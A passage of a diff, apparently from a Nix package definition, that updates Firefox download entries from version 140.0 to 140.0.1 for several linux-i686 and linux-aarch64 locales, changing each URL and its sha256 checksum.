-      sha256 = "2b23ec6ccc2f1945d783fc54fcb2873a96472257ff12e2493d03e0c946c9441e";
+      sha256 = "fccbfafcc29a68b7ca753c976f64af8d4029fe36fc344a0673d5b3656d46b056";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ko/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ko/firefox-140.0.1.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "ef5955e0b1fafec57fcf60cc42a246e405a18d38a22ab78c5649da7c07b7c71d";
+      sha256 = "439a219e25ab5310c54d19b0cffcb7f9219f8ca775069837133acd10a4e5100a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lij/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lij/firefox-140.0.1.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "90dfe86b2518b32795c3828ab57651634596f9dec8f63a578a00b5cc6bb5f0ee";
+      sha256 = "b758c6ee7e2a99e7dc1ace90a346415d2566f17851fadcb654056ee624d84dba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lt/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lt/firefox-140.0.1.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "4979df9559b4b2cd1bcbc78dbadd0cae6b2c6152d8322a34816072cb54fb8d42";
+      sha256 = "6445c693d80fb66914b2918f1993d41c87b9ae30b4d181c7c8c743b33ff6f2e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lv/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lv/firefox-140.0.1.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "fb7dc8c7a41c8e06e6c349252381a5187bfd1608a4a35c68e768a6c3d5fd64de";
+      sha256 = "7904599682f5ee5102e2622c085be7c9d6f93df22a75ac166f2492ded7100b1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/mk/firefox-140.0.1.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "9e413e4f774b8fc38df94efef0efbb20f7e999d53e69c39c0607a9479cd360c2";
+      sha256 = "50560f21f3699752873cb6a2f5c13854ebefe773228265f7245e6e85d66ade6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/mr/firefox-140.0.1.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "15c1201c3b2103c875c48716bcaedc0fe90e9c9d01b520fba1b058095d944120";
+      sha256 = "f8923cfc8f01ef73c71a49cfdd38318f19b0c543c84a126514341225867ffb77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ms/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ms/firefox-140.0.1.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "828f7bceefd2bbddc9e2f6df509d53fbfbd0ad56adec778478f87c5dc6e58504";
+      sha256 = "b892d9da24680e949c956e7678283d083b9c30d09945fa6d67448c9b0b8b76b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/my/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/my/firefox-140.0.1.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "d25552cc28081edda72b172fa93316920f6c652fc80eff79fa0dec676344a3d1";
+      sha256 = "179d3a624f238b87235bb46c47247bfcc56a5269529ecbb5d3224ae0184d3a59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nb-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nb-NO/firefox-140.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "4a6b1173f3bc03a985622ad4d6c75c4a68c4d03911ebb60a0534cc98edbc3e8d";
+      sha256 = "5b2b64ef9e381d73c80096e3e96227b7476926bb41e9fde4a476e328e71be120";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ne-NP/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ne-NP/firefox-140.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "6575d236540712abd703e70d41287bdb4c834c3da43e77663138f4a870e47d8e";
+      sha256 = "4e23866ccebecf985159bd51c79cad114965963e2c514fc87dcdab2fae12e7d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nl/firefox-140.0.1.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "5398a08fffcf35b8b44d8cccfe611e448c66f5c2cd828f23f50308c2fea82fb3";
+      sha256 = "77df1aaec8957e314690c6d3c66dc7758c71ef745d453d6f0234c4b2f0e0fe50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nn-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nn-NO/firefox-140.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "3dcdd81ca0b90a0a5d4d51a2b70797a20463dc713c77821b77ad511e53b0419e";
+      sha256 = "e030ffa92ef65c9c3696d778a1c2aea79633e2eca8abb036be7b633a59528ec9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/oc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/oc/firefox-140.0.1.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "2748f2414a9e8f75a5d70295b580669b0e5aee06c3ca93aad843b79acd8bb390";
+      sha256 = "95634e0d4bdfdcd74046bb716dc2ab7e88ff36205274bf0357ce13a4e2a45c94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pa-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pa-IN/firefox-140.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "78810d2d99bc363c0a191f00e57d391ee6c2bccc8638099edb984827cc8aaa61";
+      sha256 = "7dd99f5232f25a7fbcf934a7dc5f5ce13f483b313af4a3cdc0c8e3dee9490437";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pl/firefox-140.0.1.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "56bc942a139d5220a0410b44bd580afb20283ff64c046c5fe1093315fb7f39aa";
+      sha256 = "c6720755ac68f95d1260c5c1d78045887beb0a8e7deeefb0ad8baafecfe74cd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-BR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pt-BR/firefox-140.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "d837122fbb3830e3c25cc54abf6d0759efafc6cf681b7061df3fee4d01b36f80";
+      sha256 = "43ca63a102ac1090e76160de3850f1a2d4c56ac3ac9236c1919cd2a3ee2a517a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-PT/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pt-PT/firefox-140.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "3715ad7474d717de8a77e6797dbfd9be4066a63ae60067a301f58c2f4f112213";
+      sha256 = "2bf0cfcf50081a1497ddb15b43333cecf5f56933021fedd0da1ec315e3a23596";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/rm/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/rm/firefox-140.0.1.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "1c1f58a0f1da814587d09ef4a17daa9fc1fea8be758bd260a4bfe15459d90244";
+      sha256 = "7b10553199bc624a16284990ef86e2287fd9e771a089d777a5119ed764302b27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ro/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ro/firefox-140.0.1.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "914c2d80f03446855f092709d4e4175ab71942513d84e479815167cd8f135115";
+      sha256 = "a4c83073722aca2af2887a13a012187a0af7330e2657670c5f2cf8c44bdfdaa4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ru/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ru/firefox-140.0.1.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "19d66fe6d0c24967819d2192e89be9f5e29d38148ad6ec076da1b6ae70c1313f";
+      sha256 = "2aede4407e7dd3505878605abde47f2eb3b8466aaf7745ef18b0209213cc6788";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sat/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sat/firefox-140.0.1.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "7dfc804665848b88ebe9b610f77408ea7e4dc8b118a22f25bac216ef3295d6e8";
+      sha256 = "83d3fda671a6c30079f0f10dbea07277c8f20fb592ee9b3d904bc910037be818";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sc/firefox-140.0.1.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "e7a2256fd55db43ba8baae4068e6292a15f9c186b3a60da4df77fdd8c840a353";
+      sha256 = "cb96e96e5b38d6b8d68073f8301006d9bfd358d0c6f2387eb3a460e6df1c01c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sco/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sco/firefox-140.0.1.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "80a17e8de05303328f79015ebc259b7440fea3d3030530e5f9a7d2b757e599df";
+      sha256 = "35c8cf2cf67404ec3e56b32e7435c57f28ada305c6440edf21ddee8902c0b952";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/si/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/si/firefox-140.0.1.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "132b579bf63817cf4c82ead9d71ff993eb6810678bff5e765021cf8a6f34bf46";
+      sha256 = "5bb717460768adbcccd6f057d05a53bf5ac6ff4f16a1601fecb8bacc4cd30639";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sk/firefox-140.0.1.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "844cbf92400e3550bcb52ca8fbdf073941908371d389d7cc1a9812624ba14ee1";
+      sha256 = "36fbb14f00456c44e353c0b2f8482f1d54f29a809807e40e388d84c9e9bd1f00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/skr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/skr/firefox-140.0.1.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "1fd5b1b24d87fae4eb04fd89a6e32519467cb31804345f5162c3587a107901e9";
+      sha256 = "7a7c24b413f2d2804910eab9e555e4189637d5df1abcafd8a5ed3d5c5f8f422a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sl/firefox-140.0.1.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "52c3a9e5b642dd15c9caaca8239c7cdb228f843b3e9ad4029fc3a27e6ba1f1e8";
+      sha256 = "6128cac073364bd96542c35fd5d41d63b1beb260631b1f7d74ad8d0529ebdec8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/son/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/son/firefox-140.0.1.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "5427d6f042733ef0b39dc1e33f1a84dd3aab8cc8fb972633920a74af285dff06";
+      sha256 = "995b40e98a84faa48da7f3e0a66aee96b205aafc9d30ed63eedf13cef91ca3c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sq/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sq/firefox-140.0.1.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "68b79ae973c70ec3055fd0aaeb660350fa4d221a8b4fa464f58bc52171c09501";
+      sha256 = "29788b09016f720086ece297fa8aa6fcf48e441c860608ae46bf9a8fb3dccd61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sr/firefox-140.0.1.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "3edbbf253a196a40f93a32f46cebffa66c59b660655e22b811d7c81fad173252";
+      sha256 = "47c8b6786b833730a23918a6690b6a7297d11bbb52945d2791b9fb02650b967d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sv-SE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sv-SE/firefox-140.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "c1121301abcb85c6cf939439d35205b651a3bce7f46dcc23be1bf40f2a539cc7";
+      sha256 = "62103469db1f61bdd042c79e052e3ef1cf984dfd664e4d7a8fe055614d25fb62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/szl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/szl/firefox-140.0.1.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "8fcac69b94c535772ab13f5dfd95bb9b5a6c59a30d9501a46c66dc41a6447973";
+      sha256 = "69da64a9d1de72bc01133f0e598a87b6a6c6b181e2a08bd48523883d0b34308b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ta/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ta/firefox-140.0.1.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "d7a1c13cb0243913e2a41352cafd1720c609877a73e144b7f6f2f472a3dbd93b";
+      sha256 = "7265ab46f3e656593b1b492e85ff4b797ac2625982d56ceeac2a2e2917a320d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/te/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/te/firefox-140.0.1.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "3b46900ac10bd7704c22c1020ef551458e7df95cc770d09b6965d089c773ca1d";
+      sha256 = "ea9dfec35f8bc601679fd5f6858a8daf1e3486f9b1864709e9cc5df790abbc75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tg/firefox-140.0.1.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "023b51977b8ea9e3165f6accb533e72c70290795139fdd733fbf5de89d33e148";
+      sha256 = "4b8f3490c4b9493553c2b56b9003775da3ab67a1ab375adec2f7c3e49708b8ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/th/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/th/firefox-140.0.1.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "f26dca620fe1325c609ee93fdebe8934142af5272feba47b3d5ef8b91c3d1051";
+      sha256 = "a4ecc291f2ff50c0ed8231ab3f4e0d7168207d23c2646a3e78b932879e57a133";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tl/firefox-140.0.1.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "d6318dcd53daebac02970e1b0f22153b61ee45c1ceb7b6890cd4bf54809be1ca";
+      sha256 = "ad8dbaee89fbb379305ce86814acdf8da5de52bb0e4f6180cc8a35fe961efe43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tr/firefox-140.0.1.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "34a30e1baf297748aad567a88f9356be385d8b7cea3c394085ae412144479364";
+      sha256 = "edd27c0b00a12431d7d1bc947e28de06d8cc1057230e4cce91305f6d92175908";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/trs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/trs/firefox-140.0.1.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "80f594466fb75ce05a4497db559bf4d8197ed19db52dd44bfedd803d8e1cdc64";
+      sha256 = "5ebf33f74cca0169161466cf2adab92f41bcdf191ed6c7251b0e143310361abc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/uk/firefox-140.0.1.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "52c709b5761f386ef8c5d2358ef1114731bd421afafb53bc1bd69527bde014ac";
+      sha256 = "f9984cb1b3c51b93ffcc58db28ec64387bf1203ab6183e545cfa793cd6811797";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ur/firefox-140.0.1.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "dc4fd7b5b23b2c9bda42049b8e551638fdf40f0e427dff872534bb5891a1a632";
+      sha256 = "eb117775f8c9fb4e82c1669382970a4c1dc300e196e2b918aee5791b8a8ff577";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uz/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/uz/firefox-140.0.1.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "45c616db01a599f8d29751be1755847184bee254c155613be2b3d1cf0ef3312c";
+      sha256 = "dd734f71290a5e6bb266c0440ddc06fe4a6223a721194f2c48e7224acb2464b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/vi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/vi/firefox-140.0.1.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "926030d4e55b1cbd109294ef38f0b717adca460f1347bc8665e44229b920e992";
+      sha256 = "9fb92e06653eb09f8ba70cc879e044019d6c71353dd245beff61f0b884275b0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/xh/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/xh/firefox-140.0.1.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "9be05a8cb72c51a6d2b5560555e2d74187574b8e883dd77379c50914c0c2b766";
+      sha256 = "90d51a2f0601922318c05d5d75406997ebea1a274ae0a85c07af8f40c998c0e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-CN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/zh-CN/firefox-140.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "7a7090b51088cacc9f191d52bb9e615b17bf82b73b334fba7a1e3d7ac9d2fa3f";
+      sha256 = "1d4059d57b29ab52e4c5d7c557ad7a4fe55cb435103ba906349b57820ff38f52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-TW/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/zh-TW/firefox-140.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "7aed918551cd77d29e32b93df7ca638bc547f91c79b21ad6acc5d3ad90f8a07f";
+      sha256 = "e424fa5aea8bc774b785ee783cafc696915b09e25351d6af18fd6193bcefb4fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ach/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ach/firefox-140.0.1.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "88162f5647ee5107ac01fdf90bb4f25739d9ca7352e60adcdd37d0aac7e05649";
+      sha256 = "af93d7e30d0d08b100fa390c1894d6a6b13c13d77870fdfcf817e0952bcfc2ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/af/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/af/firefox-140.0.1.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "dcbfee58cb12d750681a3657795ddee402823725a6bcbee491dd3540f1d9d536";
+      sha256 = "81e05d6af01ad743e5ea19e3e2754efcab504ceef20e847664cc48f34d8b2e5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/an/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/an/firefox-140.0.1.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "d7596e43acb927810599559a6c64684bd8a8b150534743e99d1aafd6605d796c";
+      sha256 = "ed2a908e7a129d41943e37597282177bfdfbb083117d3e9c35448fb342c2b935";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ar/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ar/firefox-140.0.1.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "61aed3a99cb3d8b9e73a1840eed20be5e5fee11cb8267934f43850e62340265e";
+      sha256 = "20ac2320baa39c965d753546a922fed8886ef353d4b3815335da297f9ddad344";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ast/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ast/firefox-140.0.1.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "1f0660efdd4126ff867edeeb506250c13500ec06b6027591334de9cdc4160b16";
+      sha256 = "109b33ebe8a5b6f85337e813b6cec6ff4fca2e75a494e6043b95d44ec510cb93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/az/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/az/firefox-140.0.1.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "b2f3503228319b98a1e9efea27efe06510f4c8adfba578d27717426383fab577";
+      sha256 = "edcd46f75deb7d6412c4586ccc48e4675181eeb442630e7e5275cb93fb175a7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/be/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/be/firefox-140.0.1.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "d1c320e76dbcc3bbbc1d2b5ff1d9473bb029e7e32228459c463209954fb135a0";
+      sha256 = "d2f31a05873906c56b30263a22c2e2b1de24599f09df228f06b7974f897db05c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bg/firefox-140.0.1.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "093ca4ab96bfc4c53226cad25c6598748a1de256a65d751fb502137641276aaf";
+      sha256 = "737f335d87f3f395f1313fc1a0a06fd72e135d238097be9ed3e4ac74b99d6dba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bn/firefox-140.0.1.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "fa1144dc09cc3222fc8b0beedc8f1e3744a659afa3a592a5bd808588bebb0027";
+      sha256 = "86a02460d67ff5c62898a670d24d187157f25b6b71a4d96a68276efd5c45f5fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/br/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/br/firefox-140.0.1.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "dd05859ffd2c9e24971fb008872ae1b6ec6c824727946412e715ec2643292d86";
+      sha256 = "85aa49b65146565373f4392295742c24afad73156a2df65f9f2643ae76460978";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bs/firefox-140.0.1.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "339751b3b3f677f2aab64a8810e010a0c7beb10f302f7b3bb8a53fac5129afbd";
+      sha256 = "ded18cb7a6b89fa83fcdc501b388de72efd4ce049c45c65a38263cb8805e1926";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca-valencia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ca-valencia/firefox-140.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "d34cec4309053b0052eff56a3945c591bff1a31018271938434299d54ef9fa16";
+      sha256 = "c6fe0e52d593f65fd9ff94af5e63be7af3c8d831cd1afd0c69bd11e045e04ef7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ca/firefox-140.0.1.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "efcf4359152b1e20944d53ec17de7ec88636db5fd1a6aee1df9a50387f264410";
+      sha256 = "2ce304f71096c7545b409253db9f1efa142070134628623cf19548fc37916a75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cak/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cak/firefox-140.0.1.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "78436756dbb435afac86367a6da54e65e92ccbc3cb376f527b28e134f64d0367";
+      sha256 = "a3c10d06014f8e459921a0d66f0c3538765e2d674df8f3bd78ad487926c52fcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cs/firefox-140.0.tar.xz";
